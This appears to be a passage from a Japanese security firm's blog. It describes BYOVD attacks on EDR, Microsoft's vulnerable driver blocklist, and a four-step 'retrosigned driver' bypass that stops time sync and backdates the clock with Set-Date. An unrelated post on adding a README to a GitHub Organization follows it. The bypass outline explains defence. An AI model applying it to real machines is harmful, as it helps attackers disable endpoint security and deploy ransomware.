攻撃対象のPCに、脆弱性を持つドライ-バを持ち込んで（Bring Your Own）インストールすることから、この手法は「Bring Your Own Vulnerable Driver（BYOVD）」と呼ばれています。 この手法の利点は、侵害したPC内で権限昇格の脆弱性を新たに探す必要がなく、ツール化されていて容易に実行できる点です。 脆弱なドライバの情報はLOLDriversでまとめられています。

MicrosoftのBYOVD対策

Microsoft社は、Windows 11 22H2から脆弱なドライバのインストールをブロックする「Vulnerable driver blocklist」という機能をデフォルトで有効にし、BYOVDに対抗しています。 しかし、このブロックリストの自動更新は年に1〜2回程度に留まるという課題があります。

Microsoft Intune App Control for Businessを利用することで、随時、最新のブロックリストを適用できます。ただし、ブロックリストがどのくらいの頻度で更新されているのかは、公式ページに明記されていません....

期限切れの証明書で署名されたドライバをインストールする新たな手法

Microsoft社がBYOVD対策に乗り出したことで、攻撃者もBYOVDを発展させています。 Windowsのドライバー署名ポリシーでは、後方互換性のために2015年7月29日以前に発行された証明書を信頼するとしており、この仕組みを悪用することで、期限切れの証明書で署名されたドライバをインストールします。

  1. 攻撃者は、まず標的のシステム上で時刻同期サービス（w32time）を停止します。
  2. 悪用したいドライバの証明書が有効であった過去の日付に、システムの時刻をPowerShellのSet-Dateなどを用いて強制的に変更します。
  3. システム時刻が偽装されているため、Windowsは期限切れの証明書を有効なものと誤認し、脆弱なドライバのインストールを許可してしまいます。
  4. ドライバのインストール成功後、攻撃者はシステム時刻を現在に戻し、痕跡を隠蔽します。

この手法は、Aon社のインシデントレスポンスチームが報告したもので「Retrosigned Driver EDR Bypass」と名付けられており、実際に複数のランサムウェアギャングによる使用が確認されています。 Microsoft社と攻撃者とのドライバを巡る攻防はまだ続いています。

まとめ

EDRバイパスの手法は多岐にわたりますが、そこには共通するテーマが見られます。 Windowsに標準搭載された機能や署名済みの正規ドライバといったEDRが信頼するコンポーネントや、EDRの監視が手薄になりがちな領域を悪用する、という共通点が見られます。 防御側は、攻撃者の視点を理解し、EDRだけに頼るのではなく、多層的な防御アプローチを考えていく必要があります。

弊社ではEDRバイパスの手法を日々リサーチしており、EDR製品の性能検証や、EDRが導入されているシステムに対するペネトレーションテストに対応できます。 ご興味がある方は問い合わせフォームよりご連絡ください。

参考資料

GitHub OrganizationのプロフィールにREADMEを設定しました

GitHub

取締役CTOの小竹（aka tkmru）です。 GitHubには、企業やコミュニティ、OSSプロジェクトなどを組織単位で管理するための、Organizationという機能があります。 先日、弊社のOrganizationのプロフィールにREADMEを設定しました。 この記事では、OrganizationにREADMEを設定する方法、記載内容について紹介します。

OrganizationのプロフィールにREADMEを設定する方法

次の手順で、OrganizationにREADMEを設定できます。

  1. 所属しているOrganizationに.githubという名前のリポジトリを作成します。
  2. .githubリポジトリ内にprofileフォルダを作成します。
  3. profileフォルダ内にREADME.mdを作成し、Markdown形式で内容を記載します。
  4. README.mdへの変更をコミットします。
  5. 問題なければ、リポジトリを公開します。

docs.github.com

READMEに記載する内容

READMEには、活動内容や目的など、OrganizationのGitHubリポジトリへの訪問者に伝えたい情報を記載します。 Markdown形式で記述できるので、見出しやリンク、画像などを使って各種情報を分かりやすく伝えられます。 例えば、次のような内容を記載できます。

  • Organizationの目的
  • Organizationの活動内容
  • Organizationの連絡先

弊社のREADMEでは、次の内容を記載しています。

  • About Us（自己紹介）
  • Links（各種リンク）
  • License（OSSのライセンス情報）

参考に弊社のREADME.mdをご覧ください。 About Usには、弊社では脆弱性診断サービスを提供していることや、脆弱性診断のためのOSSツールをGitHub上で公開し、 コミュニティに貢献していきたい旨を記載しています。

github.com

README.mdのスクリーンショット

まとめ

OrganizationにREADMEを設定することで、どういった活動を行なっている組織なのか、訪問者に分かりやすく伝えることができます。 個人ユーザだとプロフィールにREADMEを設定している方が結構多い印象ですが、 日本企業ではOSSを公開している企業であっても、OrganizationにREADMEを設定していないことが多いです。 インターネットでのプレゼンスを高めるためにも、READMEを設定してみてはいかがでしょうか。 ぜひ、あなたのOrganizationでもREADMEを作成し、組織の魅力を発信してみてください。